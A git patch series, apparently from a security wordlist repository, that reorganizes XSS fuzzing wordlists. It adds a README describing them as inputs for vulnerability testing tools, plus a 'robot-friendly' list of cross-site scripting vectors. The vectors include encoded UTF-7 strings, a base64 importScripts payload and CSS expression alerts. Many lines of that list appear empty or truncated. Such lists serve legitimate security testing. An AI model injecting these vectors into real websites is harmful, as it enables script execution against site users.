From 1e3e7a6ce28caa24df099de6e7c8c198fd0e9c59 Mon Sep 17 00:00:00 2001 From: Mo Langning <133737702+molangning@users.noreply.github.com> Date: Sat, 2 Dec 2023 22:54:22 +0800 Subject: [PATCH 1/8] categorized the files --- Fuzzing/XSS/{ => human-friendly}/XSS-BruteLogic.txt | 0 .../XSS/{ => human-friendly}/XSS-Bypass-Strings-BruteLogic.txt | 0 Fuzzing/XSS/{ => human-friendly}/XSS-Cheat-Sheet-PortSwigger.txt | 0 Fuzzing/XSS/{ => human-friendly}/XSS-Jhaddix.txt | 0 Fuzzing/XSS/{ => human-friendly}/XSS-OFJAAAH.txt | 0 Fuzzing/XSS/{ => human-friendly}/XSS-RSNAKE.txt | 0 Fuzzing/XSS/{ => human-friendly}/XSS-Somdev.txt | 0 Fuzzing/XSS/{ => human-friendly}/XSS-Vectors-Mario.txt | 0 Fuzzing/XSS/{ => human-friendly}/XSS-With-Context-Jhaddix.txt | 0 .../xss-without-parentheses-semi-colons-portswigger.txt | 0 10 files changed, 0 insertions(+), 0 deletions(-) rename Fuzzing/XSS/{ => human-friendly}/XSS-BruteLogic.txt (100%) rename Fuzzing/XSS/{ => human-friendly}/XSS-Bypass-Strings-BruteLogic.txt (100%) rename Fuzzing/XSS/{ => human-friendly}/XSS-Cheat-Sheet-PortSwigger.txt (100%) rename Fuzzing/XSS/{ => human-friendly}/XSS-Jhaddix.txt (100%) rename Fuzzing/XSS/{ => human-friendly}/XSS-OFJAAAH.txt (100%) rename Fuzzing/XSS/{ => human-friendly}/XSS-RSNAKE.txt (100%) rename Fuzzing/XSS/{ => human-friendly}/XSS-Somdev.txt (100%) rename Fuzzing/XSS/{ => human-friendly}/XSS-Vectors-Mario.txt (100%) rename Fuzzing/XSS/{ => human-friendly}/XSS-With-Context-Jhaddix.txt (100%) rename Fuzzing/XSS/{ => human-friendly}/xss-without-parentheses-semi-colons-portswigger.txt (100%) diff --git a/Fuzzing/XSS/XSS-BruteLogic.txt b/Fuzzing/XSS/human-friendly/XSS-BruteLogic.txt similarity index 100% rename from Fuzzing/XSS/XSS-BruteLogic.txt rename to Fuzzing/XSS/human-friendly/XSS-BruteLogic.txt diff --git a/Fuzzing/XSS/XSS-Bypass-Strings-BruteLogic.txt b/Fuzzing/XSS/human-friendly/XSS-Bypass-Strings-BruteLogic.txt similarity index 100% rename from Fuzzing/XSS/XSS-Bypass-Strings-BruteLogic.txt rename to Fuzzing/XSS/human-friendly/XSS-Bypass-Strings-BruteLogic.txt diff --git a/Fuzzing/XSS/XSS-Cheat-Sheet-PortSwigger.txt b/Fuzzing/XSS/human-friendly/XSS-Cheat-Sheet-PortSwigger.txt similarity index 100% rename from Fuzzing/XSS/XSS-Cheat-Sheet-PortSwigger.txt rename to Fuzzing/XSS/human-friendly/XSS-Cheat-Sheet-PortSwigger.txt diff --git a/Fuzzing/XSS/XSS-Jhaddix.txt b/Fuzzing/XSS/human-friendly/XSS-Jhaddix.txt similarity index 100% rename from Fuzzing/XSS/XSS-Jhaddix.txt rename to Fuzzing/XSS/human-friendly/XSS-Jhaddix.txt diff --git a/Fuzzing/XSS/XSS-OFJAAAH.txt b/Fuzzing/XSS/human-friendly/XSS-OFJAAAH.txt similarity index 100% rename from Fuzzing/XSS/XSS-OFJAAAH.txt rename to Fuzzing/XSS/human-friendly/XSS-OFJAAAH.txt diff --git a/Fuzzing/XSS/XSS-RSNAKE.txt b/Fuzzing/XSS/human-friendly/XSS-RSNAKE.txt similarity index 100% rename from Fuzzing/XSS/XSS-RSNAKE.txt rename to Fuzzing/XSS/human-friendly/XSS-RSNAKE.txt diff --git a/Fuzzing/XSS/XSS-Somdev.txt b/Fuzzing/XSS/human-friendly/XSS-Somdev.txt similarity index 100% rename from Fuzzing/XSS/XSS-Somdev.txt rename to Fuzzing/XSS/human-friendly/XSS-Somdev.txt diff --git a/Fuzzing/XSS/XSS-Vectors-Mario.txt b/Fuzzing/XSS/human-friendly/XSS-Vectors-Mario.txt similarity index 100% rename from Fuzzing/XSS/XSS-Vectors-Mario.txt rename to Fuzzing/XSS/human-friendly/XSS-Vectors-Mario.txt diff --git a/Fuzzing/XSS/XSS-With-Context-Jhaddix.txt b/Fuzzing/XSS/human-friendly/XSS-With-Context-Jhaddix.txt similarity index 100% rename from Fuzzing/XSS/XSS-With-Context-Jhaddix.txt rename to Fuzzing/XSS/human-friendly/XSS-With-Context-Jhaddix.txt diff --git a/Fuzzing/XSS/xss-without-parentheses-semi-colons-portswigger.txt b/Fuzzing/XSS/human-friendly/xss-without-parentheses-semi-colons-portswigger.txt similarity index 100% rename from Fuzzing/XSS/xss-without-parentheses-semi-colons-portswigger.txt rename to Fuzzing/XSS/human-friendly/xss-without-parentheses-semi-colons-portswigger.txt From 5f470c5568f472b24a857b65e0b5f298c85a947d Mon Sep 17 00:00:00 2001 From: Mo Langning <133737702+molangning@users.noreply.github.com> Date: Sat, 2 Dec 2023 23:00:49 +0800 Subject: [PATCH 2/8] Added XSS readme --- Fuzzing/XSS/README.md | 8 ++++++++ 1 file changed, 8 insertions(+) create mode 100644 Fuzzing/XSS/README.md diff --git a/Fuzzing/XSS/README.md b/Fuzzing/XSS/README.md new file mode 100644 index 00000000..0a6f0b8a --- /dev/null +++ b/Fuzzing/XSS/README.md @@ -0,0 +1,8 @@ +# XSS +This is a directory for XSS wordlists. + +They are for testing xss vulnerabilities manually or automatically using tools. The XSS wordlists are further split into two more categories, `human-friendly` and `robot-friendly`. + + The `human-friendly` category is for manual testings and as such, have comments left untouched. + + The `robot-friendly` is for automated tools like ZAP or burpsuite to use. Minor changes may be required and as such, you should look out for the `README.md` file in each of the directories to know what to change. \ No newline at end of file From eaaef638eb2f5ad2473495db91e234ae3f84f055 Mon Sep 17 00:00:00 2001 From: Mo Langning <133737702+molangning@users.noreply.github.com> Date: Fri, 8 Dec 2023 03:43:17 +0800 Subject: [PATCH 3/8] removed them weird strings,hopefully wont break anything --- .../XSS/robot-friendly/XSS-Vectors-Mario.txt | 137 ++++++++++++++++++ 1 file changed, 137 insertions(+) create mode 100644 Fuzzing/XSS/robot-friendly/XSS-Vectors-Mario.txt diff --git a/Fuzzing/XSS/robot-friendly/XSS-Vectors-Mario.txt b/Fuzzing/XSS/robot-friendly/XSS-Vectors-Mario.txt new file mode 100644 index 00000000..189082e5 --- /dev/null +++ b/Fuzzing/XSS/robot-friendly/XSS-Vectors-Mario.txt @@ -0,0 +1,137 @@ +
+&ADz&AGn&AG0&AEf&ACA&AHM&AHI&AGO&AD0&AGn&ACA&AG8Abg&AGUAcgByAG8AcgA9AGEAbABlAHIAdAAoADEAKQ&ACAAPABi +&alert&A7&(1)&R&UA;&&<&A9&11/script&X&> +0? :postMessage(importScripts('data:;base64,cG9zdE1lc3NhZ2UoJ2FsZXJ0KDEpJyk')) + + + + +X + + +





...



+01 + + +X + + +¼script ¾alert(19)//¼/script ¾ + + + +
+1 +;1 ++ADw-html+AD4APA-body+AD4APA-div+AD4-top secret+ADw-/div+AD4APA-/body+AD4APA-/html+AD4-.toXMLString().match(/.*/m),alert(RegExp.input); + +1 +@import "data:,*%7bx:expression(alert(30))%7D"; + +
+XXXXXX +1 +1 +XXX + + +><image xlink:href=" + +
  • +XXX +Hello +X +
    XXX
    +
    XXX
    + + + + + + + + +